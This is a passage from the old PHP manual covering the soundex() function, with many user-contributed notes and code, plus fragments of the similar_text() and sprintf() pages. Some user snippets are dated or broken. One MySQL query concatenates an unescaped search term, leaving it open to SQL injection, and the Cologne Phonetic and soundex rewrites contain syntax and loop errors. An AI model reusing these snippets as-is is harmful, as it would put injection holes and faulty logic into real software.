    $str2 = ereg_replace("[^a-z]", ' ', strtolower($str2));
    while(strstr($str2, '  ')) {
        $str2 = str_replace('  ', ' ', $str2);
    }
    $str2 = explode(' ', $str2);

    if(count($str1)<count($str2)) {
        $tmp = $str1;
        $str1 = $str2;
        $str2 = $tmp;
        unset($tmp);
    }

    for($i=0; $i<count($str1); $i++) {
        if(in_array($str1[$i], $str2)) {
            $count++;
        }
    }

    return $count/count($str2)*100;
}
?>
louis #at# mulliemedia.com 06-Jun-2004 05:01
Note that this function will calculate the percentage blindly, without regard to the LENGHT of the string.

This may become important if you try to print similar names to SMALL strings :
e.g.
I want to print out the value if it is 90 percent similar to the other one : the value is HE, the correct value is HEC

The similar_text() function will return approximately 66.7 %, and it will not print it because it is smaller than 90 %, although almost all of the string was matched.
hate at spam dot com dot BR 09-May-2004 09:21
In PHP4+, you don't need to pass the percent variable as reference..
Instead, use this way:

<?php
similar_text($string1, $string2, $p);
echo "Percent: $p%";
?>

In PHP5, you'll get a ugly warning message when passing this variable as reference.. But it's configurable in php.ini (allow_call_time_pass_reference = Off)

That's it... Another great function! :)
julius at infoguiden dot no 06-Feb-2003 06:46
If you have reserved names in a database that you don't want others to use, i find this to work pretty good.
I added strtoupper to the variables to validate typing only. Taking case into consideration will decrease similarity.

<?php
$query = mysql_query("select * from $table") or die("Query failed");

while ($row = mysql_fetch_array($query)) {
      similar_text(strtoupper($_POST['name']), strtoupper($row['reserved']), $similarity_pst);
      if (number_format($similarity_pst, 0) > 90){
        $too_similar = $row['reserved'];
        print "The name you entered is too similar the reserved name &quot;".$row['reserved']."&quot;";
        break;
       }
    }
?>
georgesk at hotmail dot com 08-Mar-2002 08:14
Well, as mentioned above the speed is O(N^3), i've done a longest common subsequence way that is O(m.n) where m and n are the length of str1 and str2, the result is a percentage and it seems to be exactly the same as similar_text percentage but with better performance... here's the 3 functions i'm using..

<?php
function LCS_Length($s1, $s2)
{
  $m = strlen($s1);
  $n = strlen($s2);

  //this table will be used to compute the LCS-Length, only 128 chars per string are considered
  $LCS_Length_Table = array(array(128),array(128));

  //reset the 2 cols in the table
  for($i=1; $i < $m; $i++) $LCS_Length_Table[$i][0]=0;
  for($j=0; $j < $n; $j++) $LCS_Length_Table[0][$j]=0;

  for ($i=1; $i <= $m; $i++) {
    for ($j=1; $j <= $n; $j++) {
      if ($s1[$i-1]==$s2[$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j-1] + 1;
      else if ($LCS_Length_Table[$i-1][$j] >= $LCS_Length_Table[$i][$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j];
      else
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i][$j-1];
    }
  }
  return $LCS_Length_Table[$m][$n];
}

function str_lcsfix($s)
{
  $s = str_replace(" ","",$s);
  $s = ereg_replace("[��������]","e", $s);
  $s = ereg_replace("[������������]","a", $s);
  $s = ereg_replace("[��������]","i", $s);
  $s = ereg_replace("[���������]","o", $s);
  $s = ereg_replace("[��������]","u", $s);
  $s = ereg_replace("[�]","c", $s);
  return $s;
}

function get_lcs($s1, $s2)
{
  //ok, now replace all spaces with nothing
  $s1 = strtolower(str_lcsfix($s1));
  $s2 = strtolower(str_lcsfix($s2));

  $lcs = LCS_Length($s1,$s2); //longest common sub sequence

  $ms = (strlen($s1) + strlen($s2)) / 2;

  return (($lcs*100)/$ms);
}
?>

you can skip calling str_lcsfix if you don't worry about accentuated characters and things like that or you can add up to it or modify it for faster performance, i think ereg is not the fastest way?
hope this helps.
Georges
daniel at reflexionsdesign dot com 09-Oct-2001 06:30
If performance is an issue, you may wish to use the levenshtein() function instead, which has a considerably better complexity of O(str1 * str2).
mogmios at hushmail dot com 01-Feb-2000 05:39
Don't forget your passing the double as a reference. If you use this and soundex() together you can get a pretty good guess as to how well two words match. Is useful for simple bot-like programs.

<?php
$i = similar_text($first_word, $second_word, &$p);
echo("Matched: $i  Percentage: $p%");
?>
sha1
soundex
String Functions


Calculate the soundex key of a string

similar_text
sprintf
String Functions
PHP Manual

soundex

(PHP 4, PHP 5)

soundex — Calculate the soundex key of a string

Description

string soundex ( string $str )

Calculates the soundex key of str.

Soundex keys have the property that words pronounced similarly produce the same soundex key, and can thus be used to simplify searches in databases where you know the pronunciation but not the spelling. This soundex function returns a string 4 characters long, starting with a letter.

This particular soundex function is one described by Donald Knuth in "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), pp. 391-392.

Parameters

str

The input string.

Return Values

Returns the soundex key as a string.

Examples

Example #1 Soundex Examples

<?php
soundex("Euler")       == soundex("Ellery");    // E460
soundex("Gauss")       == soundex("Ghosh");     // G200
soundex("Hilbert")     == soundex("Heilbronn"); // H416
soundex("Knuth")       == soundex("Kant");      // K530
soundex("Lloyd")       == soundex("Ladd");      // L300
soundex("Lukasiewicz") == soundex("Lissajous"); // L222
?>

See Also

  • levenshtein() - Calculate Levenshtein distance between two strings
  • metaphone() - Calculate the metaphone key of a string
  • similar_text() - Calculate the similarity between two strings

User Contributed Notes

nicolas dot zimmer at einfachmarke dot de 03-Aug-2008 03:47
Since soundex() does not produce optimal results for German language
we have written a function to implement the so called KÃ¶lner Phonetik
(Cologne Phonetic).

Please find the code below in the hope it might be useful:

<?php
/**
 * A function for retrieving the KÃ¶lner Phonetik value of a string
 *
 * As described at http://de.wikipedia.org/wiki/KÃ¶lner_Phonetik
 * Based on Hans Joachim Postel: Die KÃ¶lner Phonetik.
 * Ein Verfahren zur Identifizierung von Personennamen auf der
 * Grundlage der Gestaltanalyse.
 * in: IBM-Nachrichten, 19. Jahrgang, 1969, S. 925-931
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * @package phonetics
 * @version 1.0
 * @link http://www.einfachmarke.de
 * @license GPL 3.0 <http://www.gnu.org/licenses/>
 * @copyright  2008 by einfachmarke.de
 * @author Nicolas Zimmer <nicolas dot zimmer at einfachmarke.de>
 */

function cologne_phon($word){

  /**
  * @param  string  $word string to be analyzed
  * @return string  $value represents the KÃ¶lner Phonetik value
  * @access public
  */

    //prepare for processing
    $word=strtolower($word);
    $substitution=array(
            "Ã¤"=>"a",
            "Ã¶"=>"o",
            "Ã¼"=>"u",
            "ÃŸ"=>"ss",
            "ph"=>"f"
            );

    foreach ($substitution as $letter=>$substitution) {
        $word=str_replace($letter,$substitution,$word);
    }

    $len=strlen($word);

    //Rule for exeptions
    $exceptionsLeading=array(
    4=>array("ca","ch","ck","cl","co","cq","cu","cx"),
    8=>array("dc","ds","dz","tc","ts","tz")
    );

    $exceptionsFollowing=array("sc","zc","cx","kx","qx");

    //Table for coding
    $codingTable=array(
    0=>array("a","e","i","j","o","u","y"),
    1=>array("b","p"),
    2=>array("d","t"),
    3=>array("f","v","w"),
    4=>array("c","g","k","q"),
    48=>array("x"),
    5=>array("l"),
    6=>array("m","n"),
    7=>array("r"),
    8=>array("c","s","z"),
    );

    for ($i=0;$i<$len;$i++){
        $value[$i]="";

        //Exceptions
        if ($i==0 AND $word[$i].$word[$i+1]=="cr") $value[$i]=4;

        foreach ($exceptionsLeading as $code=>$letters) {
            if (in_array($word[$i].$word[$i+1],$letters)){

                    $value[$i]=$code;

}                }

        if ($i!=0 AND (in_array($word[$i-1].$word[$i],
$exceptionsFollowing))) {

            value[$i]=8;

}

        //Normal encoding
        if ($value[$i]==""){
                foreach ($codingTable as $code=>$letters) {
                    if (in_array($word[$i],$letters))$value[$i]=$code;
                }
            }
        }

    //delete double values
    $len=count($value);

    for ($i=1;$i<$len;$i++){
        if ($value[$i]==$value[$i-1]) $value[$i]="";
    }

    //delete vocals
    for ($i=1;$i>$len;$i++){//omitting first characer code and h
        if ($value[$i]==0) $value[$i]="";
    }

    $value=array_filter($value);
    $value=implode("",$value);

    return $value;

}

?>
shortcut 13-Nov-2006 11:24
The answer to whether soundex works except for the first letter in klancy vs clancy is to always prefix words with the same letter.

aklancy will match aclancy
bklancy will match bclancy

soundex seems to only check the 1st 2 syllables.??
ie:  spectacular matches spectacle

just a thought if you rely on soundex.

k-
04-Oct-2005 12:25
Since the first letter is included in the phonetic representation in the output, it is worth pointing out that if you want a soundex key to work without the problems of klansy and clansy sounding different, take the substring from the first letter, as the first letter is the main constant of the word, and the numerical value is that of the phontic structure of the word.
crchafer-php at c2se dot com 13-Sep-2005 08:25
Rewritten, maybe -- but the algorithm has some obvious
optimisations which can be done, for example...

        function text__soundex( $text ) {
                $k = ' 123 12  22455 12623 1 2 2';
                $nl = strlen( $tN = strtoupper( $text ) );
                $p = trim( $k{ ord( $tS = $tN{0} ) - 65 } );
                for( $n = 1; $n < $nl; ++$n )
                        if( ( $l = trim( $k{ ord( $tN{ $n } ) - 65 } ) ) != $p )
                                $tS .= ( $p = $l );
                return substr( $tS . '000', 0, 4 );
        }

// Notes:
// $k is the $key, essentially $SoundKey inverted
// $tN is the uppercase of the text to be optimised
// $tS is the partaully generated output
// $l is the current letter, $p the previous
// $n and $nl are iteration indicies
// 65 is ord('A'), precalculated for speed
// none ascii letters are not supported
// watch the brackets, quite a mixture here

(Code has suffered only basic tests, though it appears to
match the output of PHP's soundex(), speed untested --
though this should be /much/ faster than a4_perfect's
rewrite due to the removal of most loops and compares.)

C
2005-09-13
a4_perfect at mail dot ru 01-Aug-2005 06:18
Even be rewritten, function of [administrator at zinious dot com] is slower than soundex() for approx 30 times:

<?php
function MakeSoundEx($stringtomakesoundexof)
{
  $temp_Name = strtoupper($stringtomakesoundexof);
  $SoundKey = array(1=>"BPFV", "CSKGJQXZ", "DT", "L", "MN", "R", "AEHIOUWY");
  $temp_Last = "";
  $temp_Soundex = substr($temp_Name, 0, 1);

  for ($x = 1; $x <= sizeof($SoundKey); $x++)
    for ($i = 0; $i < strlen($SoundKey[$x]); $i++)
      if ($temp_Soundex == substr($SoundKey[$x], $i - 1, 1))
        $temp_Last = (string)($x==7?"":$x);

  for ($n = 1; $n < strlen($temp_Name); $n++)
    if (strlen($temp_Soundex) < 4)
    {
      for ($x = 1; $x <= sizeof($SoundKey); $x++)
        for ($i = 0; $i < strlen($SoundKey[$x]); $i++)
          if (substr($temp_Name, $n-1, 1)==substr($SoundKey[$x], $i-1, 1))
          {
            if($x<7 && $temp_Last!=(string)$x)
              $temp_Soundex = $temp_Soundex.$x;
            $temp_Last = (string)($x);
          }
      }

  return $temp_Soundex . str_repeat("0", 4-strlen($temp_Soundex));
}
?>
Marc Quinton. 06-Jan-2005 06:53
a French soundex version ; could be used for other foreigns languages where soudex lacks. Perhaps, a class with each language specifics could be writen.

http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
justin at NO dot blukrew dot SPAM dot com 21-Sep-2004 04:18
I originally looked at soundex() because I wanted to compare how individual letters sounded. So, when pronouncing a string of generated characters it would be easy to to distinguish them from eachother.  (ie, TGDE is hard to distinguish, whereas RFQA is easier to understand). The goal was to generate IDs that could be easily understood with a high degree of accuracy over a radio of varying quality. I quickly figured out that soundex and metaphone wouldn't do this (they work for words), so I wrote the following to help out. The ID generation function iteratively calls chrSoundAlike() to compare each new character with the preceeding characters. I'd be interested in recieving any feedback on this. Thanks.

<?php
function chrSoundAlike($char1, $char2, $opts = FALSE) {
    $char1 = strtoupper($char1);
    $char2 = strtoupper($char2);
    $opts  = strtoupper($opts);

    // Setup the sets of characters that sound alike.
    // (Options: include numbers, include W, include both, or default is none of those.)
    switch ($opts) {
    case 'NUMBERS':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'STRICT':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'BOTH':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    default:
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U'));
        break;
    }

    // See if $char1 is in a set.
    $matchset = array();
    for ($i = 0; $i < count($sets); $i++) {
        if (in_array($char1, $sets[$i])) {
            $matchset = $sets[$i];
        }
    }

    // IF char2 is in the same set as char1, or if char1 and char2 and the same, then return true.
    if (in_array($char2, $matchset) OR $char1 == $char2) {
        return TRUE;
    } else {
        return FALSE;
    }
}
?>
mail at gettheeawayspam dot iaindooley dot com 10-Jul-2003 11:04
The soundex 'different letter in front' problem can be solved by using levenshtein() on the soundex codes. in my application, which is searching a database of album names for entries that match a particular user provided string, i do the following:

1. Search the database for the exact name
2. Search the database for entries where the name occurs anyway as a string
3. Search the database for entries where any of the words in the name (if the user has typed in more than one word) is present, except for little words (and, the, of etc)
4. Then, if all this fails, I go to plan b:

- calculate the levenshtein distance (levenshtein()) between the user search term and each of the entries in the database as a percentage of the length of the user search term entered

- calculate the levenshtein distance between the metphone codes of the user search term entered and each field in the database as a percentage of the length of the metaphone code of the user search term entered

- calculate the levenshtein distance between the soundex codes of the user search term entered and each field in the database as a percentage of the length of the soundex code of the original user search term entered

if any of these percentages is less than 50 (means that two soundex codes with different first letters will be accepted!!) then the entry is accepted as a possible match.
php.net AT djwice DoT com 25-Jun-2003 05:01
Ik made the Soundex in JavaScript.
http://www.vanderharg.nl/soundex.php

Explanation of the algoritm is on the above page.
It returns two values if a name has "van der" or something alike in it. One with that in the Soundex test and one without.

The use of regular expressions makes the ectual soundex algoritm short. Two conditions of the algoritm I did remove because in this implementation they are redundant.

<script language="javascript">
var koppelteken = ""; // kan ook  - zijn.
var vv=new Array(
        "de la ",
        "in het ",
        "in 't ",
        "op den ",
        "op het ",
        "op de ",
        "op te ",
        "op 't ",
        "up te",
        "uit de ",
        "van den ",
        "van der ",
        "van het ",
        "van de ",
        "van 't ",

        "opte ",
        "upte ",
        "con ",
        "den ",
        "der ",
        "ten ",
        "ter ",
        "van ",

        "de ",
        "di ",
        "du ",
        "la ",
        "le ",
        "te ",
        "vd ",

        "l' ",
        "l'",
        "'t ");

function removePrefix(name)
{
    i=0;
    var strippedresult = "";
    while ((strippedresult=="")&&(i<vv.length))
    {
        if (name.substr(0,vv[i].length)==vv[i].toUpperCase())
            strippedresult = name.substr(vv[i].length);
        i++;
    }
    return strippedresult;
}

function Soundex(name)
{
    if (name.length>1)
    {
        // zet om naar hoofdletters.
            name=name.toUpperCase();

        // converteer leestekens
            re = new RegExp ('[ÄÀÁÃ]+', 'gi');
            name = name.replace(re, 'A');
            re = new RegExp ('[ËÈÉ]+', 'gi');
            name = name.replace(re, 'E');
            re = new RegExp ('[ÏÌÍ]+', 'gi');
            name = name.replace(re, 'I');
            re = new RegExp ('[ÖÒÓÕ]+', 'gi');
            name = name.replace(re, 'O');
            re = new RegExp ('[ÜÙÚ]+', 'gi');
            name = name.replace(re, 'U');
            re = new RegExp ('[Ý]+', 'gi');
            name = name.replace(re, 'Y');

        // behandel voorvoegsels
            var result=Soundex(removePrefix(name));
            if (result!="") result+="\n";

        // eerste letter
            result += name.substr(0,1);

        // codeer de rest in cijfers
            name=name.substr(1);

        // haal A, E, I, O, U, H, W, en Y er uit.
            re = new RegExp ('[AEIOUHWY ]+', 'gi');
            name = name.replace(re, '');

        // Zet om naar cijfers met tabel.
            // haal dubbele cijfers er uit.
            re = new RegExp ('[BFPV]+', 'gi');
            name = name.replace(re, '1');
            re = new RegExp ('[ÇCGJKQSXZ]+', 'gi');
            name = name.replace(re, '2');
            re = new RegExp ('[DT]+', 'gi');
            name = name.replace(re, '3');
            re = new RegExp ('[L]+', 'gi');
            name = name.replace(re, '4');
            re = new RegExp ('[MN]+', 'gi');
            name = name.replace(re, '5');
            re = new RegExp ('[R]+', 'gi');
            name = name.replace(re, '6');

        // vul aan tot 3 cijfers.
            while (name.length<3)
                name += "0";

        // kap af op 3 cijfers
            if (name.length>3)
                name=name.substr(0,3);

        return result+koppelteken+name;
    }
    else return "";
}
</script>
pee whitt at dental dot ufl dor edu 09-Jun-2003 06:12
fie at myrealbox dot com-

regarding your soudex syllable request- i think counting vowel clusters in the word will result in an accurate count of syllables.  so no soudex feature is necessary, just count through the chars in the word, and everytime you run from vowel to consanant, increment the syllable count.

using this logic, this sentence is categorized as follows.
2 1 2 1 1 (3) (0) (4) (0) 2

where (#) marks a word that is incorrectly categorized.  i'm sure usiong a little thinking one could figure out the logic in those cases that would result in an accurate count.  counting changes from vowel to consanant would yield-
(1) 1 2 1 2 1 (4) 1 2

taking the average and then cieling of the two types would fix most of the errors.
fie at myrealbox dot com 08-Mar-2003 05:29
eek... hosting got taken down on that server.. here's the code for the previous

function cg_sylc($nos){
  $nos = strtoupper($nos);
  $syllables = 0;

  $before = strlen($nos);
  $nos = str_replace(array('AA','AE','AI','AO','AU',
  'EA','EE','EI','EO','EU','IA','IE','II','IO',
  'IU','OA','OE','OI','OO','OU','UA','UE',
  'UI','UO','UU'), "", $nos);
  $after = strlen($nos);
  $diference = $before - $after;
  if($before != $after) $syllables += $diference / 2;

  if($nos[strlen($nos)-1] == "E") $syllables --;
  if($nos[strlen($nos)-1] == "Y") $syllables ++;

  $before = $after;
  $nos = str_replace(array('A','E','I','O','U'),"",$nos);
  $after = strlen($nos);
  $syllables += ($before - $after);

  return $syllables;
}

function cg_SoundEx($SExStr){
  $syl = cg_sylc($SExStr);
  $SExStr = strtoupper($SExStr);

    for($i = 1, $ii = 2,print $SExStr[0]; ;$ii++){

      if(($SExStr[$i] != $SExStr[$ii])){
          $tsstr .= $SExStr[$ii];
          $i ++;
      }
      if($SExStr[$ii] == false){
        break;
      }
    }

  $tsstr = str_replace(array('A', 'E', 'H', 'I', 'O', 'U', 'W', 'Y'), "", $tsstr);
  $tsstr = str_replace(array('B', 'F', 'P', 'V'), "1", $tsstr);
  $tsstr = str_replace(array('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z', 'Ç'), "2", $tsstr);
  $tsstr = str_replace(array('D', 'T'), "3", $tsstr);
  $tsstr = str_replace(array('L'), "4", $tsstr);
  $tsstr = str_replace(array('M', 'N', 'Ñ'), "5", $tsstr);
  $tsstr = str_replace(array('R'), "6", $tsstr);

  while($iii < 3){
    if($tsstr[$iii] != false){
      $ttsstr .= $tsstr[$iii];
    } else {
      $ttsstr .= "0";
    }
    $iii ++;
  }
  $ttsstr .= $syl;
  print $ttsstr;
}
fie at myrealbox dot com 25-Feb-2003 05:34
administrator at zinious dot com:

Sorry but your code wasnt soundex compliant
here were my results with your code, my code, and the default..

string: rest
R620 perform administrator's function 0.009452
R230 perform cg's function 0.001779
R230 perform default soundex function 9.4999999999956E-005

string: reset
R620 perform administrator's function 0.0055900000000001
R230 perform cg's function 0.00091799999999997
R230 perform default soundex function 0.00010600000000005

i dunno why the default, every once in a while, will for some reason be 9.xxx. very odd i think..
my code is at the bottom.. these tests were before the soundex modification as i discribe below..
btw for all the original specs on the soundex algorithm goto
http://www.star-shine.net/~functionifelse/GFD/?word=soundex

dalibor dot toth at podravka dot hr:

yes it is perhaps sad that it gives you the same code,
even metaphone has that problem..
but one might not want to be so accurate.. if somone
is on search engine.. lets call it shmoogle looking
for "php array reset" and search for "php array rest"
then shmoogle might return stuff about beds and such..
(if they were all stupid and didnt use the first words
as more important) so anyways shmoogle might need it to
be less accurate in such cases.. but nonetheless..
my fix for this is to add the number of syllables at the end of the string making it 5 characters long..
this would work as fallows..

code at: http://star-shine.net/~functionifelse/cg_soundex.php

or if you wanted to just use the default soundex function

$str = soundex($str).cg_sylc($str);

revolutionary more or less.. problly less...
This function is only meant for one word though.. i'd like to see someone
modify it to use split and run it through a loop to get each words cg_soundex
that'll be fun ;)
i would also like to sujest to the php zend apache kinda people who make php
to add an optional additional variable the user can specify as fallows

soundex("string",SYL);

which would return the number of syllables at the end of the string
highly accurate sound testing woo! also you could add VOW for vowels
and CONS for consonant or whatever else someone would want..
but i really think the number of syllables will be pleanty efficiant.
umm.. if this helps anyone your welcome.. ummm.. good luck in all
your php adventures.. oh... and the final results

syllables
1 rest
2 reset
metaphone
RST rest
RST reset
soundex
R230 rest
R230 reset

string: rest
R2301 perform cg's function 0.00211
R230 perform default soundex function 0.00011299999999997

string: reset
R2302 perform cg's function 0.001691
R230 perform default soundex function 0.00010399999999999

the default function is a tad bit faster..
so maybe they will add this option and we'll have speed and accuracy.

SILENT WIND OF DOOM WOOSH!
jr 16-Jan-2003 09:25
a workaround for the mysql/php differences in implementation of soundex is to do the soundex comparison entirely within mysql.

for example:
$sql = "SELECT * FROM table WHERE substring(soundex(field), 1, 4) =  substring(soundex('".$wordsearch."'), 1, 4)";
info at nederlandsch dot net 20-Dec-2002 05:26
MySQL soundex (3.23.49) doesn't examine the first character at all to see whether it should be skipped. Therefore the Dutch name of The Hague, the country's government seat, 's-Gravenhage will give a soundex value of '261 in MySQL and S615 in PHP.
bestworldweb At yahoo NOSPAM dot co.nz 09-Dec-2002 10:27
Mysql seems to use 0 in the letter V instead of 1, which is what php uses (and most soundex functions)
fred AT oicgroup.net 11-Nov-2002 03:35
I am finding a peculiarity in using the Soundex function in PHP (4.2.2) against the one in MySql (3.23.39) .  For instance, a soundex on the word "purchased" in PHP results in 'P622'.  The same word using the MySql Soundex function results in 'P623'.  The word 'five' using PHP results in 'F100' while MySql results in 'F000'.  I have only caught a couple that are different so far - don't know if it's a bug in either PHP or MySql or something than can be adjusted/accounted for in code.

Fred Dirkse
OIC Group, Inc.
www.oicgroup.net
dalibor dot toth at podravka dot hr 30-Sep-2002 03:50
Apart from Clansy nad Klansy, using strings "rest" and "reset" with soundex() gives you: 1. R230, 2. R230. Pitty...
dcallaghan at linuxmail dot org 10-Jun-2002 04:25
Although the standard soundex string is 4 characters long, and this is what's returned by the php function, some database programs return an arbitrary number of strings. MySQL, for instance.

The MySQL documentation covers this, recommending that you may wish to use substring to output the standard 4 characters. Let's take 'Dostoyevski' as an example.

select soundex("Dostoyevski")
returns D2312
select substring(soundex("Dostoyevski"), 1, 4);
returns D231

PHP will return the value as 'D231'

So, to use the soundex function to generate a WHERE parameter in a MySQL SELECT statement, you might try this:
$s = soundex('Dostoyevski');
SELECT * FROM authors WHERE substring(soundex(lastname), 1 , 4) = "' . $s  . '"';

Or, if you want to bypass the php function
$result = mysql_query("select soundex('Dostoyevski')");
$s = mysql_result($result, 0, 0);
witold4249 at rogers dot com 17-May-2002 10:11
A MUCH easier way to check for similarity between words and avoid the problems that come up with Klancy/Clancy would be to simply add any letter infront of the string

ie:  OKlancy/OClancy
17-May-2002 10:07
A MUCH easier way to do the above search would be to simply add any letter in front of the string and then compare them.

ie. Klancy => LKlancy
    Clancy => LClancy
bb79 at no_spam dot com 10-Apr-2002 01:29
To search for words like Clansy and Klansy, just reverse the strings:

  $s1 = "Clansy";
  $s2 = "Klansy";
  if((soundex($s1) == soundex($s2)) ||
     (soundex(strrev($s1)) == soundex(strrev($s2))))
    echo("Match");
administrator at zinious dot com 09-Apr-2002 08:21
I wrote this function a long time ago in CGI-perl and then translated (if you can call it that) into PHP.  A little clunky to say the least, but should handle true soundex specs 100%:

// ---begin code---

function MakeSoundEx($stringtomakesoundexof)
{
    $temp_Name = $stringtomakesoundexof;
    $SoundKey1 = "BPFV";
    $SoundKey2 = "CSKGJQXZ";
    $SoundKey3 = "DT";
    $SoundKey4 = "L";
    $SoundKey5 = "MN";
    $SoundKey6 = "R";
    $SoundKey7 = "AEHIOUWY";

        $temp_Name = strtoupper($temp_Name);
    $temp_Last = "";
    $temp_Soundex = substr($temp_Name, 0, 1);

    $n = 1;
    for ($i = 0; $i < strlen($SoundKey1); $i++)
    {
            if ($temp_Soundex == substr($SoundKey1, i - 1, 1))
        {
            $temp_Last = "1";
            }
    }
    for ($i = 0; $i < strlen($SoundKey2); $i++)
    {
            if ($temp_Soundex == substr($SoundKey2, i - 1, 1))
        {
            $temp_Last = "2";
            }
    }
    for ($i = 0; $i < strlen($SoundKey3); $i++)
    {
            if ($temp_Soundex == substr($SoundKey3, i - 1, 1))
        {
            $temp_Last = "3";
            }
    }
    for ($i = 0; $i < strlen($SoundKey4); $i++)
    {
            if ($temp_Soundex == substr($SoundKey4, i - 1, 1))
        {
            $temp_Last = "4";
            }
    }
    for ($i = 0; $i < strlen($SoundKey5); $i++)
    {
            if ($temp_Soundex == substr($SoundKey5, i - 1, 1))
        {
            $temp_Last = "5";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "6";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "";
            }
    }

    for ($n = 1; $n < strlen($temp_Name); $n++)
    {
        if (strlen($temp_Soundex) < 4)
        {
            for ($i = 0; $i < strlen($SoundKey1); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey1, $i - 1, 1) && $temp_Last != "1")
                {
                    $temp_Soundex = $temp_Soundex."1";
                    $temp_Last = "1";
                }
            }
            for ($i = 0; $i < strlen($SoundKey2); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey2, $i - 1, 1) && $temp_Last != "2")
                {
                    $temp_Soundex = $temp_Soundex."2";
                    $temp_Last = "2";
                }
            }
            for ($i = 0; $i < strlen($SoundKey3); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey3, $i - 1, 1) && $temp_Last != "3")
                {
                    $temp_Soundex = $temp_Soundex."3";
                    $temp_Last = "3";
                }
            }
            for ($i = 0; $i < strlen($SoundKey4); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey4, $i - 1, 1) && $temp_Last != "4")
                {
                    $temp_Soundex = $temp_Soundex."4";
                    $temp_Last = "4";
                }
            }
            for ($i = 0; $i < strlen($SoundKey5); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey5, $i - 1, 1) && $temp_Last != "5")
                {
                    $temp_Soundex = $temp_Soundex."5";
                    $temp_Last = "5";
                }
            }
            for ($i = 0; $i < strlen($SoundKey6); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey6, $i - 1, 1) && $temp_Last != "6")
                {
                    $temp_Soundex = $temp_Soundex."6";
                    $temp_Last = "6";
                }
            }
            for ($i = 0; $i < strlen($SoundKey7); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey7, $i - 1, 1))
                {
                    $temp_Last = "";
                }
            }
        }
    }

    while (strlen($temp_Soundex) < 4)
    {
        $temp_Soundex = $temp_Soundex."0";
    }

    return $temp_Soundex;
}

// --- end code---
cap at capsi dot cx 13-Dec-1999 07:16
soundex() unfortunately is very sensitive about the first character. It is not possible to use it and have Clansy and Klansy return the same value. If you want to do a phonetic search on such names you will still need to write a routine to evaluate C452 as being similar to K452.
similar_text
sprintf
String Functions


Return a formatted string

soundex
sscanf
String Functions
PHP Manual

sprintf

(PHP 4, PHP 5)

sprintf — Return a formatted string

Description

string sprintf ( string $format [, mixed $args [, mixed $... ]] )

Returns a string produced according to the formatting string format.

Parameters

format

The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result, and conversion specifications, each of which results in fetching its own parameter. This applies to both sprintf() and printf().

Each conversion specification consists of a percent sign (%), followed by one or more of these elements, in order:

  1. An optional sign specifier that forces a sign (- or +) to be used on a number. By default, only the - sign is used on a number if it's negative. This specifier forces positive numbers to have the + sign attached as well, and was added in PHP 4.3.0.
  2. An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote ('). See the examples below.
  3. An optional alignment specifier that says if the result should be left-justified or right-justified. The default is right-justified; a - character here will make it left-justified.
  4. An optional number, a width specifier that says how many characters (minimum) this conversion should result in.
  5. An optional precision specifier in the form of a period (`.') followed by an optional decimal digit string that says how many decimal digits should be displayed for floating-point numbers. When using this specifier on a string, it acts as a cutoff point, setting a maximum character limit to the string.

  6. A type specifier that says what type the argument data should be treated as. Possible types:

    • % - a literal percent character. No argument is required.
    • b - the argument is treated as an integer, and presented as a binary number.
    • c - the argument is treated as an integer, and presented as the character with that ASCII value.
    • d - the argument is treated as an integer, and presented as a (signed) decimal number.
    • e - the argument is treated as scientific notation (e.g. 1.2e+2). The precision specifier stands for the number of digits after the decimal point since PHP 5.2.1. In earlier versions, it was taken as number of significant digits (one less).
    • E - like %e but uses uppercase letter (e.g. 1.2E+2).
    • u - the argument is treated as an integer, and presented as an unsigned decimal number.
    • f - the argument is treated as a float, and presented as a floating-point number (locale aware).
    • F - the argument is treated as a float, and presented as a floating-point number (non-locale aware). Available since PHP 4.3.10 and PHP 5.0.3.
    • g - shorter of %e and %f.
    • G - shorter of %E and %f.
    • o - the argument is treated as an integer, and presented as an octal number.
    • s - the argument is treated as and presented as a string.
    • x - the argument is treated as an integer and presented as a hexadecimal number (with lowercase letters).
